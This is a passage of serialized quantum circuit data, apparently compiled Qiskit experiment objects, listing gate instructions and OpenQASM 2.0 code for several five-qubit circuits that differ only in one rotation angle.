'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1189', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1191', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.30000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1193', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1195', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) 